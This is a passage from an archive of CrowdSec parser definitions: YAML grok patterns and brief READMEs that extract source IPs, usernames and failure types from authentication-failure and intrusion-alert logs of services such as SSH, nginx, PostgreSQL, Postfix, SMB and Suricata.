XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[2]") nodes: - grok: pattern: "\\[CLIENT: %{IP:source_ip}\\]" expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[3]") statics: - meta: source_ip expression: evt.Parsed.source_ip statics: - meta: subtype value: bad_password - grok: pattern: "Reason: Could not find a login matching the name provided\\." expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[2]") nodes: - grok: pattern: "\\[CLIENT: %{IP:source_ip}\\]" expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[3]") statics: - meta: source_ip expression: evt.Parsed.source_ip statics: - meta: subtype value: bad_user statics: - meta: log_type value: mssql_failed_auth - meta: user expression: XMLGetNodeValue(evt.Line.Raw, "/Event/EventData[1]/Data[1]") --- onsuccess: next_stage name: crowdsecurity/mssql-text-logs description: "Parse mssql logs" filter: "evt.Parsed.program == 'mssql'" pattern_syntax: DATE_YMD: "%{YEAR:year}-%{MONTHNUM:month}-%{MONTHDAY:day}" nodes: - grok: pattern: "%{DATE_YMD:date} %{TIME:time} Logon.*Login failed for user '%{NOTDQUOTE:user}'. Reason: %{GREEDYDATA:reason_message}. \\[CLIENT: %{IPORHOST:source_ip}\\]" apply_on: message onsuccess: next_stage nodes: - filter: "evt.Parsed.reason_message == 'Password did not match that for the login provided'" onsuccess: next_stage statics: - meta: subtype value: bad_password - filter: "evt.Parsed.reason_message == 'Could not find a login matching the name provided'" onsuccess: next_stage statics: - meta: subtype value: bad_user statics: - meta: service value: mssql - meta: log_type value: mssql_failed_auth - meta: source_ip expression: "evt.Parsed.source_ip" - target: evt.StrTime expression: "evt.Parsed.date + ' ' + evt.Parsed.time"hub1/parsers/s01-parse/crowdsecurity/mysql-logs.md000066400000000000000000000000421437532772500224610ustar00rootroot00000000000000Mysql authentication fail parser. hub1/parsers/s01-parse/crowdsecurity/mysql-logs.yaml000066400000000000000000000010161437532772500230250ustar00rootroot00000000000000onsuccess: next_stage name: crowdsecurity/mysql-logs description: "Parse MySQL logs" filter: "evt.Parsed.program == 'mysql'" grok: pattern: "%{TIMESTAMP_ISO8601:time} %{NUMBER} \\[Note\\]( \\[%{DATA:err_code}\\] \\[%{DATA:subsystem}\\])? Access denied for user '%{DATA:user}'@'%{IP:source_ip}' \\(using password: %{WORD:using_password}\\)" apply_on: message statics: - meta: log_type value: mysql_failed_auth - meta: source_ip expression: "evt.Parsed.source_ip" - meta: user expression: "evt.Parsed.user"hub1/parsers/s01-parse/crowdsecurity/nextcloud-logs.md000066400000000000000000000011311437532772500233210ustar00rootroot00000000000000Parser for [Nextcloud](https://nextcloud.com/) logs If you have the default [setting](https://docs.nextcloud.com/server/stable/admin_manual/configuration_server/config_sample_php_parameters.html?highlight=loglevel#logging) of logging to file, you need to add in acquisition (change filename to your log file location): ```yaml --- filenames: - /var/www/nextcloud/data/nextcloud.log labels: type: Nextcloud ``` If you are sending logs to syslog or systemd and read from journald, add: ```yaml --- source: journalctl journalctl_filter: - "SYSLOG_IDENTIFIER=Nextcloud" labels: type: syslog ``` hub1/parsers/s01-parse/crowdsecurity/nextcloud-logs.yaml000066400000000000000000000030511437532772500236660ustar00rootroot00000000000000--- onsuccess: next_stage filter: "Upper(evt.Parsed.program) == 'NEXTCLOUD'" name: crowdsecurity/nextcloud-logs description: "Parse nextcloud logs" nodes: - grok: pattern: 'Login failed: %{USERNAME:target_user} \(Remote IP: %{IP:source_ip}\)' expression: JsonExtract(evt.Parsed.message, "message") statics: - meta: target_user expression: "evt.Parsed.target_user" - meta: log_type value: nextcloud_failed_auth - grok: pattern: 'Bruteforce attempt from \\?"%{IP:source_ip}\\?" detected for action \\?"%{DATA:action}\\?"' expression: JsonExtract(evt.Parsed.message, "message") statics: - meta: action expression: "evt.Parsed.action" - meta: log_type value: nextcloud_bruteforce_attempt #{"reqId":"dCA39mNG3NHLwbibVCFp","level":1,"time":"2023-02-14T17:28:33+00:00","remoteAddr":"172.18.0.200","user":"--","app":"core","method":"GET","url":"/","message":"Trusted domain error. \"172.18.0.200\" tried to access using \"kloot.ronsmans.eu\" as host.","userAgent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0","version":"25.0.3.2","data":{"app":"core"}} - grok: pattern: 'Trusted domain error. \\"%{IP:source_ip}\\".*' expression: JsonExtract(evt.Parsed.message, "message") statics: - meta: log_type value: nextcloud_domain_error statics: - meta: service value: nextcloud - meta: source_ip expression: "evt.Parsed.source_ip" - target: evt.StrTime expression: JsonExtract(evt.Parsed.message, "time") hub1/parsers/s01-parse/crowdsecurity/nginx-logs.md000066400000000000000000000007421437532772500224460ustar00rootroot00000000000000A generic parser for nginx, support both access and error logs. This parser support also ingress nginx controller default [log_format](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/log-format/) *note : * If you are aggregating logs from several domains, prefix your logline with the target FQDN. HTTP based scenarios should take this into account so that buckets are _per_ source IP per target FQDN, limiting false positives due to logs multiplexing. hub1/parsers/s01-parse/crowdsecurity/nginx-logs.yaml000066400000000000000000000054221437532772500230100ustar00rootroot00000000000000filter: "evt.Parsed.program startsWith 'nginx'" onsuccess: next_stage name: crowdsecurity/nginx-logs description: "Parse nginx access and error logs" nodes: - grok: pattern: '(%{IPORHOST:target_fqdn} )?%{IPORHOST:remote_addr} - (%{NGUSER:remote_user})? \[%{HTTPDATE:time_local}\] "%{WORD:verb} %{DATA:request} HTTP/%{NUMBER:http_version}" %{NUMBER:status} %{NUMBER:body_bytes_sent} "%{NOTDQUOTE:http_referer}" "%{NOTDQUOTE:http_user_agent}"( %{NUMBER:request_length} %{NUMBER:request_time} \[%{DATA:proxy_upstream_name}\] \[%{DATA:proxy_alternative_upstream_name}\])?' apply_on: message statics: - meta: log_type value: http_access-log - target: evt.StrTime expression: evt.Parsed.time_local - grok: # and this one the error log pattern: '(%{IPORHOST:target_fqdn} )?%{NGINXERRTIME:time} \[%{LOGLEVEL:loglevel}\] %{NONNEGINT:pid}#%{NONNEGINT:tid}: (\*%{NONNEGINT:cid} )?%{GREEDYDATA:message}, client: %{IPORHOST:remote_addr}, server: %{DATA:target_fqdn}, request: "%{WORD:verb} ([^/]+)?%{URIPATHPARAM:request}( HTTP/%{NUMBER:http_version})?", host: "%{IPORHOST}(:%{NONNEGINT})?"' apply_on: message statics: - meta: log_type value: http_error-log - target: evt.StrTime expression: evt.Parsed.time pattern_syntax: NO_DOUBLE_QUOTE: '[^"]+' onsuccess: next_stage nodes: - filter: "evt.Parsed.message contains 'was not found in'" pattern_syntax: USER_NOT_FOUND: 'user "%{NO_DOUBLE_QUOTE:username}" was not found in "%{NO_DOUBLE_QUOTE}"' grok: pattern: '%{USER_NOT_FOUND}' apply_on: message statics: - meta: sub_type value: "auth_fail" - meta: username expression: evt.Parsed.username - filter: "evt.Parsed.message contains 'password mismatch'" pattern_syntax: PASSWORD_MISMATCH: 'user "%{NO_DOUBLE_QUOTE:username}": password mismatch' grok: pattern: '%{PASSWORD_MISMATCH}' apply_on: message statics: - meta: sub_type value: "auth_fail" - meta: username expression: evt.Parsed.username - filter: "evt.Parsed.message contains 'limiting requests, excess'" statics: - meta: sub_type value: "req_limit_exceeded" # these ones apply for both grok patterns statics: - meta: service value: http - meta: source_ip expression: "evt.Parsed.remote_addr" - meta: http_status expression: "evt.Parsed.status" - meta: http_path expression: "evt.Parsed.request" - meta: http_verb expression: "evt.Parsed.verb" - meta: http_user_agent expression: "evt.Parsed.http_user_agent" - meta: target_fqdn expression: "evt.Parsed.target_fqdn" hub1/parsers/s01-parse/crowdsecurity/nginx-proxy-manager-logs.md000066400000000000000000000003731437532772500252350ustar00rootroot00000000000000A generic parser for [Nginx Proxy Manager](https://github.com/NginxProxyManager/nginx-proxy-manager), support both [access and error logs](https://github.com/NginxProxyManager/nginx-proxy-manager/blob/develop/docker/rootfs/etc/nginx/nginx.conf#L46). hub1/parsers/s01-parse/crowdsecurity/nginx-proxy-manager-logs.yaml000066400000000000000000000065051437532772500256020ustar00rootroot00000000000000# filter: "evt.Parsed.program startsWith 'nginx-proxy-manager'" onsuccess: next_stage name: crowdsecurity/nginx-proxy-manager-logs description: "Parse Nginx Proxy Manager access and error logs" nodes: # For Proxy hosts logs - grok: pattern: '\[%{HTTPDATE:time_local}\]( %{NUM_OR_DASH:upstream_cache_status} %{NUM_OR_DASH:upstream_status})? %{NUMBER:status} - %{WORD:verb} %{WORD:scheme} %{IPORHOST:target_fqdn} \"%{NOTDQUOTE:request}\" \[Client %{IPORHOST:remote_addr}\] \[Length %{NUMBER:body_bytes_sent}\] \[Gzip %{DATA:gzip_ratio}\]( \[Sent-to %{IPORHOST:target_server}\])? \"%{NOTDQUOTE:http_user_agent}\" \"%{NOTDQUOTE:http_referer}\"' apply_on: message statics: - meta: log_type value: http_access-log - target: evt.StrTime expression: evt.Parsed.time_local pattern_syntax: NUM_OR_DASH: '-|\d*' # For Default host logs - grok: pattern: '(%{IPORHOST:target_fqdn} )?%{IPORHOST:remote_addr} - (%{NGUSER:remote_user})? \[%{HTTPDATE:time_local}\] "%{WORD:verb} %{DATA:request} HTTP/%{NUMBER:http_version}" %{NUMBER:status} %{NUMBER:body_bytes_sent} "%{NOTDQUOTE:http_referer}" "%{NOTDQUOTE:http_user_agent}"( %{NUMBER:request_length} %{NUMBER:request_time} \[%{DATA:proxy_upstream_name}\] \[%{DATA:proxy_alternative_upstream_name}\])?' apply_on: message statics: - meta: log_type value: http_access-log - target: evt.StrTime expression: evt.Parsed.time_local # and this one the error log - grok: pattern: '(%{IPORHOST:target_fqdn} )?%{NGINXERRTIME:time} \[%{LOGLEVEL:loglevel}\] %{NONNEGINT:pid}#%{NONNEGINT:tid}: (\*%{NONNEGINT:cid} )?%{GREEDYDATA:message}, client: %{IPORHOST:remote_addr}, server: %{IPORHOST:target_fqdn}, request: "%{WORD:verb} %{URIPATHPARAM:request} HTTP/%{NUMBER:http_version}", host: "%{IPORHOST}"' apply_on: message statics: - meta: log_type value: http_error-log - target: evt.StrTime expression: evt.Parsed.time pattern_syntax: NO_DOUBLE_QUOTE: '[^"]+' onsuccess: next_stage nodes: - filter: "evt.Parsed.message contains 'was not found in'" pattern_syntax: USER_NOT_FOUND: 'user "%{NO_DOUBLE_QUOTE:username}" was not found in "%{NO_DOUBLE_QUOTE}"' grok: pattern: '%{USER_NOT_FOUND}' apply_on: message statics: - meta: sub_type value: "auth_fail" - meta: username expression: evt.Parsed.username - filter: "evt.Parsed.message contains 'password mismatch'" pattern_syntax: PASSWORD_MISMATCH: 'user "%{NO_DOUBLE_QUOTE:username}": password mismatch' grok: pattern: '%{PASSWORD_MISMATCH}' apply_on: message statics: - meta: sub_type value: "auth_fail" - meta: username expression: evt.Parsed.username # these ones apply for both grok patterns statics: - meta: service value: http - meta: source_ip expression: "evt.Parsed.remote_addr" - meta: http_status expression: "evt.Parsed.status" - meta: http_path expression: "evt.Parsed.request" - meta: http_verb expression: "evt.Parsed.verb" - meta: http_user_agent expression: "evt.Parsed.http_user_agent" - meta: target_fqdn expression: "evt.Parsed.target_fqdn" hub1/parsers/s01-parse/crowdsecurity/odoo-logs.md000066400000000000000000000002271437532772500222610ustar00rootroot00000000000000Odoo authentication failure parser. Reference: https://www.odoo.com/documentation/15.0/administration/install/deploy.html#blocking-brute-force-attackshub1/parsers/s01-parse/crowdsecurity/odoo-logs.yaml000066400000000000000000000011541437532772500226230ustar00rootroot00000000000000onsuccess: next_stage name: crowdsecurity/odoo-logs description: "Parse Odoo logs" filter: "evt.Parsed.program == 'odoo'" nodes: - grok: pattern: '%{TIMESTAMP_ISO8601:timestamp} %{INT:PID} INFO %{DATA:db_name} odoo.addons.base.models.res_users: Login failed for db:%{DATA} login:%{DATA:user} from %{IP:source_ip}' apply_on: message statics: - meta: log_type value: odoo_failed_auth - meta: source_ip expression: "evt.Parsed.source_ip" - meta: user expression: "evt.Parsed.user" - meta: db expression: "evt.Parsed.db_name" - target: evt.StrTime expression: evt.Parsed.timestamphub1/parsers/s01-parse/crowdsecurity/opnsense-gui-logs.md000066400000000000000000000002401437532772500237300ustar00rootroot00000000000000## OPNSense web authentication parser A parser for opnsense web authentication (failed) logs. Those logs are usually present in ` /var/log/audit/latest.log`. hub1/parsers/s01-parse/crowdsecurity/opnsense-gui-logs.yaml000066400000000000000000000010651437532772500243000ustar00rootroot00000000000000onsuccess: next_stage filter: "evt.Parsed.program == 'audit'" name: crowdsecurity/opnsense-gui-logs description: "Parse OPNSense web auth logs" #/index.php: Web GUI authentication error for 'toto' from 1.2.3.4 grok: pattern: "/index.php: Web GUI authentication error for '%{USERNAME:username}' from %{IPORHOST:source_ip}" apply_on: message statics: - meta: service value: opnsense-gui - meta: username expression: "evt.Parsed.username" - meta: source_ip expression: evt.Parsed.source_ip - meta: log_type value: opnsense-gui-failed-auth hub1/parsers/s01-parse/crowdsecurity/pam-logs.md000066400000000000000000000001511437532772500220720ustar00rootroot00000000000000A minimal parser for pam, supports only : - authentication failure messages - account lock (pam_tally) hub1/parsers/s01-parse/crowdsecurity/pam-logs.yaml000066400000000000000000000014021437532772500224340ustar00rootroot00000000000000onsuccess: next_stage filter: "evt.Parsed.program == 'sudo'" name: crowdsecurity/pam-logs description: "Parse pam logs" nodes: - grok: pattern: 'pam_tally2\(sudo:auth\): user %{NOTSPACE:username} \(%{NUMBER:uid}\) tally \d, deny \d' apply_on: message statics: - meta: log_type value: pam_user_lock - grok: pattern: 'pam_unix\(sudo:auth\): authentication failure; logname=%{NOTSPACE:logname} uid=%{NUMBER:uid} euid=%{NUMBER:euid} tty=%{NOTSPACE:tty} ruser=%{NOTSPACE:ruser} rhost=%{GREEDYDATA:rhost} user=%{NOTSPACE:username}' apply_on: message statics: - meta: log_type value: pam_failed_auth statics: - meta: service value: pam - meta: username expression: "evt.Parsed.username" hub1/parsers/s01-parse/crowdsecurity/pgsql-logs.md000066400000000000000000000006271437532772500224530ustar00rootroot00000000000000PostgreSQL fail authentication parser. **warning** : By default (at least on debian with pgsql 12), postgreSQL logs do not contain the source IP, and `log_line_prefix` needs to be edited to contain `%h` (the remote host). This parser assumes the `log_line_prefix` is `%m [%p] %h%q %u@%d ` (instead of the default `%m [%p] %q%u@%d `) Please note that the parser ignores the timezone written by postgres. hub1/parsers/s01-parse/crowdsecurity/pgsql-logs.yaml000066400000000000000000000024041437532772500230100ustar00rootroot00000000000000onsuccess: next_stage name: crowdsecurity/pgsql-logs description: "Parse PgSQL logs" filter: "evt.Parsed.program == 'postgres'" nodes: - grok: #pgsql 12 pattern: '%{DATESTAMP:timestamp} %{WORD:zone} \[%{INT:PID}\] %{IP:source_ip} %{USERNAME:pgsql_user}@%{GREEDYDATA:pgsql_dbname} FATAL: %{WORD:auth_method} authentication failed for user "%{USERNAME:pgsql_target_user}"' apply_on: message - grok: #aws aurora #%{DATESTAMP:timestamp} %{WORD:zone}:%{IP:source_ip}\(%{INT:source_port}\):%{USERNAME:pgsql_user}@%{GREEDYDATA:pgsql_dbname}:\[%{INT:pid}\]:FATAL: password authentication failed for user "%{USERNAME:pgsql_target_user}" pattern: '%{DATESTAMP:timestamp} %{WORD:zone}:%{IP:source_ip}\(%{INT:source_port}\):%{USERNAME:pgsql_user}@%{GREEDYDATA:pgsql_dbname}:\[%{INT:pid}\]:FATAL: %{WORD:auth_method} authentication failed for user "%{USERNAME:pgsql_target_user}"' apply_on: message statics: - meta: log_type value: pgsql_failed_auth - meta: auth_method expression: "evt.Parsed.auth_method" - meta: source_ip expression: "evt.Parsed.source_ip" - meta: user expression: "evt.Parsed.pgsql_target_user" - meta: db expression: "evt.Parsed.pgsql_dbname" - target: evt.StrTime expression: evt.Parsed.timestamphub1/parsers/s01-parse/crowdsecurity/pkexec-logs.yaml000066400000000000000000000006761437532772500231520ustar00rootroot00000000000000onsuccess: next_stage #debug: true filter: "evt.Parsed.program == 'pkexec'" name: crowdsecurity/pkexec-logs description: "Parse pkexec logs specifically for CVE-2021-4034" pattern_syntax: PWNKIT_XPL: '%{DATA:user}: The value for the SHELL variable was not found the /etc/shells file' grok: name: "PWNKIT_XPL" apply_on: message statics: - meta: log_type value: CVE-2021-4034-xpl - meta: target_user expression: "evt.Parsed.user" hub1/parsers/s01-parse/crowdsecurity/postfix-logs.yaml000066400000000000000000000052521437532772500233620ustar00rootroot00000000000000# Copyright (c) 2014, 2015, Rudy Gevaert # Copyright (c) 2020 Crowdsec # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use, copy, modify, merge, publish, # distribute, sublicense, and/or sell copies of the Software, and to # permit persons to whom the Software is furnished to do so, subject to # the following conditions: # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF # MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND # NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE # LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION # OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION # WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # Some of the groks used here are from https://github.com/rgevaert/grok-patterns/blob/master/grok.d/postfix_patterns onsuccess: next_stage filter: "evt.Parsed.program in ['postfix/smtpd','postfix/smtps/smtpd','postfix/submission/smtpd', 'postfix/smtps-haproxy/smtpd', 'postfix/submission-haproxy/smtpd']" name: crowdsecurity/postfix-logs pattern_syntax: POSTFIX_HOSTNAME: '(%{HOSTNAME}|unknown)' POSTFIX_COMMAND: '(AUTH|STARTTLS|CONNECT|EHLO|HELO|RCPT)' POSTFIX_ACTION: 'discard|dunno|filter|hold|ignore|info|prepend|redirect|replace|reject|warn' RELAY: '(?:%{HOSTNAME:remote_host}(?:\[%{IP:remote_addr}\](?::[0-9]+(.[0-9]+)?)?)?)' description: "Parse postfix logs" nodes: - grok: apply_on: message pattern: 'lost connection after %{DATA:smtp_response} from %{RELAY}' statics: - meta: log_type_enh value: spam-attempt - grok: apply_on: message pattern: 'warning: %{POSTFIX_HOSTNAME:remote_host}\[%{IP:remote_addr}\]: SASL ((?i)LOGIN|PLAIN|(?:CRAM|DIGEST)-MD5) authentication failed:%{GREEDYDATA:message_failure}' statics: - meta: log_type_enh value: spam-attempt - grok: apply_on: message pattern: 'NOQUEUE: %{POSTFIX_ACTION:action}: %{DATA:command} from %{RELAY}: %{GREEDYDATA:reason}' statics: - meta: action expression: "evt.Parsed.action" statics: - meta: service value: postfix - meta: source_ip expression: "evt.Parsed.remote_addr" - meta: source_hostname expression: "evt.Parsed.remote_host" - meta: log_type value: postfix hub1/parsers/s01-parse/crowdsecurity/postscreen-logs.yaml000066400000000000000000000012451437532772500240510ustar00rootroot00000000000000onsuccess: next_stage filter: "evt.Parsed.program in ['postfix/postscreen', 'haproxy/postscreen']" name: crowdsecurity/postscreen-logs pattern_syntax: POSTSCREEN_PREGREET: 'PREGREET' POSTSCREEN_PREGREET_TIME_ATTEMPT: '\d+.\d+' description: "Parse postscreen logs" nodes: - grok: apply_on: message pattern: '%{POSTSCREEN_PREGREET:pregreet} %{INT:count} after %{POSTSCREEN_PREGREET_TIME_ATTEMPT:time_attempt} from \[%{IP:remote_addr}\]:%{INT:port}: %{GREEDYDATA:message_attempt}' statics: - meta: service value: postscreen - meta: source_ip expression: "evt.Parsed.remote_addr" - meta: pregreet expression: "evt.Parsed.pregreet" hub1/parsers/s01-parse/crowdsecurity/proftpd-logs.md000066400000000000000000000001351437532772500227750ustar00rootroot00000000000000FTP ([ProFTPD](https://en.wikipedia.org/wiki/ProFTPD)) will mostly parse authentication fail.hub1/parsers/s01-parse/crowdsecurity/proftpd-logs.yaml000066400000000000000000000033401437532772500233400ustar00rootroot00000000000000onsuccess: next_stage name: proftpd-logs description: "Parse proftpd logs" filter: "evt.Parsed.program == 'proftpd'" #we should use the same pattern for "normal" and plesk logs, but due to an issue in grokky handling (), we cannot :( pattern_syntax: PROFTPD_AUTH_FAIL: '%{TIMESTAMP_ISO8601:timestamp} %{IPORHOST:hostname} proftpd\[%{DATA}\] %{IPORHOST:hostname} \(%{IPORHOST}\[%{IP:source_ip}\]\): USER %{USERNAME:username} \(Login failed\): Incorrect password' PROFTPD_BAD_USER: '%{TIMESTAMP_ISO8601:timestamp} %{IPORHOST:hostname} proftpd\[%{DATA}\] %{IPORHOST:hostname} \(%{IPORHOST}\[%{IP:source_ip}\]\): USER %{USERNAME:username}: no such user found from %{IPORHOST} \[%{IPORHOST}\] to %{IPORHOST}:%{DATA:port}' PROFTPD_AUTH_FAIL_PLESK: '%{SYSLOGTIMESTAMP:timestamp} %{IPORHOST:hostname} proftpd\[%{DATA}\]: %{IPORHOST:hostname} \(%{IPORHOST}\[%{IP:source_ip}\]\) - USER %{USERNAME:username} \(Login failed\): Incorrect password' PROFTPD_BAD_USER_PLESK: '%{SYSLOGTIMESTAMP:timestamp} %{IPORHOST:hostname} proftpd\[%{DATA}\]: %{IPORHOST:hostname} \(%{IPORHOST}\[%{IP:source_ip}\]\) - USER %{USERNAME:username}: no such user found from %{IPORHOST} \[%{IPORHOST}\] to %{IPORHOST}:%{DATA:port}' nodes: - grok: pattern: "%{PROFTPD_AUTH_FAIL}" apply_on: message - grok: pattern: "%{PROFTPD_BAD_USER}" apply_on: message - grok: pattern: "%{PROFTPD_AUTH_FAIL_PLESK}" apply_on: message - grok: pattern: "%{PROFTPD_BAD_USER_PLESK}" apply_on: message statics: - meta: log_type value: ftp_failed_auth - meta: source_ip expression: "evt.Parsed.source_ip" - meta: target_user expression: "evt.Parsed.username" - target: evt.StrTime expression: evt.Parsed.timestamp hub1/parsers/s01-parse/crowdsecurity/smb-logs.yaml000066400000000000000000000013461437532772500224470ustar00rootroot00000000000000onsuccess: next_stage name: crowdsecurity/smb-logs filter: evt.Parsed.program == 'smb' description: "Parse SMB logs" pattern_syntax: SMB_BAD_PASSWORD: "Auth:%{GREEDYDATA} user \\[%{DATA:smb_domain}\\]\\\\\\[%{DATA:user}\\]%{GREEDYDATA} status \\[NT_STATUS_WRONG_PASSWORD\\]%{GREEDYDATA} remote host \\[ipv4:%{IP:ip_source}" nodes: - grok: name: "SMB_AUTH_FAIL" apply_on: message statics: - meta: subtype value: smb_bad_user - grok: name: "SMB_BAD_PASSWORD" apply_on: message statics: - meta: subtype value: smb_bad_password statics: - meta: log_type value: smb_failed_auth - meta: source_ip expression: "evt.Parsed.ip_source" - meta: user expression: "evt.Parsed.user"hub1/parsers/s01-parse/crowdsecurity/sshd-logs.md000066400000000000000000000001521437532772500222570ustar00rootroot00000000000000Your one fits-all ssh parser with support for the most common kind of failed authentications and errors. hub1/parsers/s01-parse/crowdsecurity/sshd-logs.yaml000066400000000000000000000070471437532772500226330ustar00rootroot00000000000000onsuccess: next_stage #debug: true filter: "evt.Parsed.program == 'sshd'" name: crowdsecurity/sshd-logs description: "Parse openSSH logs" pattern_syntax: # The IP grok pattern that ships with crowdsec is buggy and does not capture the last digit of an IP if it is the last thing it matches, and the last octet starts with a 2 # https://github.com/crowdsecurity/crowdsec/issues/938 IPv4_WORKAROUND: (?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?) IP_WORKAROUND: (?:%{IPV6}|%{IPv4_WORKAROUND}) SSHD_AUTH_FAIL: 'pam_%{DATA:pam_type}\(sshd:auth\): authentication failure; logname= uid=%{NUMBER:uid}? euid=%{NUMBER:euid}? tty=ssh ruser= rhost=%{IP_WORKAROUND:sshd_client_ip}( %{SPACE}user=%{USERNAME:sshd_invalid_user})?' SSHD_MAGIC_VALUE_FAILED: 'Magic value check failed \(\d+\) on obfuscated handshake from %{IP_WORKAROUND:sshd_client_ip} port \d+' SSHD_INVALID_USER: 'Invalid user\s*%{USERNAME:sshd_invalid_user}? from %{IP_WORKAROUND:sshd_client_ip}( port \d+)?' SSHD_INVALID_BANNER: 'banner exchange: Connection from %{IP_WORKAROUND:sshd_client_ip} port \d+: invalid format' SSHD_PREAUTH_AUTHENTICATING_USER: 'Connection closed by (authenticating|invalid) user %{USERNAME:sshd_invalid_user} %{IP_WORKAROUND:sshd_client_ip} port \d+ \[preauth\]' #following: https://github.com/crowdsecurity/crowdsec/issues/1201 - some scanners behave differently and trigger this one SSHD_PREAUTH_AUTHENTICATING_USER_ALT: 'Disconnected from (authenticating|invalid) user %{USERNAME:sshd_invalid_user} %{IP_WORKAROUND:sshd_client_ip} port \d+ \[preauth\]' nodes: - grok: name: "SSHD_FAIL" apply_on: message statics: - meta: log_type value: ssh_failed-auth - meta: target_user expression: "evt.Parsed.sshd_invalid_user" - grok: name: "SSHD_PREAUTH_AUTHENTICATING_USER_ALT" apply_on: message statics: - meta: log_type value: ssh_failed-auth - meta: target_user expression: "evt.Parsed.sshd_invalid_user" - grok: name: "SSHD_PREAUTH_AUTHENTICATING_USER" apply_on: message statics: - meta: log_type value: ssh_failed-auth - meta: target_user expression: "evt.Parsed.sshd_invalid_user" - grok: name: "SSHD_DISC_PREAUTH" apply_on: message - grok: name: "SSHD_BAD_VERSION" apply_on: message - grok: name: "SSHD_INVALID_USER" apply_on: message statics: - meta: log_type value: ssh_failed-auth - meta: target_user expression: "evt.Parsed.sshd_invalid_user" - grok: name: "SSHD_INVALID_BANNER" apply_on: message statics: - meta: log_type value: ssh_failed-auth - meta: extra_log_type value: ssh_bad_banner - grok: name: "SSHD_USER_FAIL" apply_on: message statics: - meta: log_type value: ssh_failed-auth - meta: target_user expression: "evt.Parsed.sshd_invalid_user" - grok: name: "SSHD_AUTH_FAIL" apply_on: message statics: - meta: log_type value: ssh_failed-auth - meta: target_user expression: "evt.Parsed.sshd_invalid_user" - grok: name: "SSHD_MAGIC_VALUE_FAILED" apply_on: message statics: - meta: log_type value: ssh_failed-auth - meta: target_user expression: "evt.Parsed.sshd_invalid_user" statics: - meta: service value: ssh - meta: source_ip expression: "evt.Parsed.sshd_client_ip" hub1/parsers/s01-parse/crowdsecurity/suricata-logs.md000066400000000000000000000003401437532772500231300ustar00rootroot00000000000000## Suricata logs parser This parser supports both formats : - the JSON `eve.json` format (`type: suricata-evelogs`) - the text `fast.log` format (`type: suricata-fastlogs`) The parser only parses logs that are `alerts`. hub1/parsers/s01-parse/crowdsecurity/suricata-logs.yaml000066400000000000000000000054031437532772500234770ustar00rootroot00000000000000onsuccess: next_stage filter: "evt.Parsed.program == 'suricata-fastlogs'" name: crowdsecurity/suricata-fastlogs description: "Parse suricata fast.log" pattern_syntax: SURICATA_MARKER: '\[\*\*\]' SURICATA_DATE: '%{DATE_US:date}-%{TIME:time}' SURICATA_RULE_ID: '\[%{NUMBER:suricata_rule_severity}:%{NUMBER:rule_id}:%{NUMBER:suricata_alert_signature_rev}\]' grok: pattern: '%{SURICATA_DATE} %{SURICATA_MARKER} %{SURICATA_RULE_ID} %{DATA:suricata_alert_signature} %{SURICATA_MARKER} \[Classification: %{DATA:suricata_classification}\] \[Priority: %{NUMBER:suricata_priority}\] \{%{DATA:proto}\} %{IP:source_ip}:%{NUMBER:source_port} \-> %{IP:dest_ip}:%{NUMBER:dest_port}' apply_on: message statics: - meta: service value: suricata - meta: log_type value: suricata_alert - meta: sub_log_type value: suricata_alert_fast_log #we build back RFC3339 format - target: evt.Parsed.suricata_timestamp expression: evt.Parsed.date + ' ' + evt.Parsed.time - target: evt.StrTime expression: evt.Parsed.date + ' ' + evt.Parsed.time - meta: suricata_alert_signature_id expression: evt.Parsed.rule_id - meta: suricata_rule_severity expression: evt.Parsed.suricata_rule_severity - meta: source_ip expression: evt.Parsed.source_ip --- onsuccess: next_stage filter: | evt.Parsed.program == "suricata-evelogs" && JsonExtract(evt.Parsed.message, "event_type") == "alert" name: crowdsecurity/suricata-evelogs description: "Parse suricata eve.json logs" pattern_syntax: SURICATA_EVE_TS: '%{TIMESTAMP_ISO8601:time}' nodes: - grok: pattern: '%{SURICATA_EVE_TS:time}(\-|\+)%{INT}' expression: JsonExtract(evt.Parsed.message, "timestamp") statics: - meta: service value: suricata - meta: log_type value: suricata_alert - meta: sub_log_type value: suricata_alert_eve_json - target: evt.StrTime expression: evt.Parsed.time + 'Z' - target: evt.Meta.suricata_flow_id expression: JsonExtract(evt.Parsed.message, "flow_id") - target: evt.Meta.source_ip expression: JsonExtract(evt.Parsed.message, "src_ip") - target: evt.Parsed.dest_ip expression: JsonExtract(evt.Parsed.message, "dest_ip") - target: evt.Parsed.dest_port expression: JsonExtract(evt.Parsed.message, "dest_port") - target: evt.Parsed.proto expression: JsonExtract(evt.Parsed.message, "proto") - target: evt.Meta.suricata_alert_signature_id expression: JsonExtract(evt.Parsed.message, "alert.signature_id") - target: evt.Parsed.suricata_alert_signature_rev expression: JsonExtract(evt.Parsed.message, "alert.rev") - target: evt.Parsed.suricata_alert_signature expression: JsonExtract(evt.Parsed.message, "alert.signature") - target: evt.Meta.suricata_rule_severity expression: JsonExtract(evt.Parsed.message, "alert.severity") hub1/parsers/s01-parse/crowdsecurity/synology-dsm-logs.md000066400000000000000000000002371437532772500237660ustar00rootroot00000000000000## Synology DSM web authentication parser A parser for Synology DSM web authentication (failed) logs. Those logs are usually present in `/var/log/auth.log`. hub1/parsers/s01-parse/crowdsecurity/synology-dsm-logs.yaml000066400000000000000000000021641437532772500243310ustar00rootroot00000000000000# Synology DSM 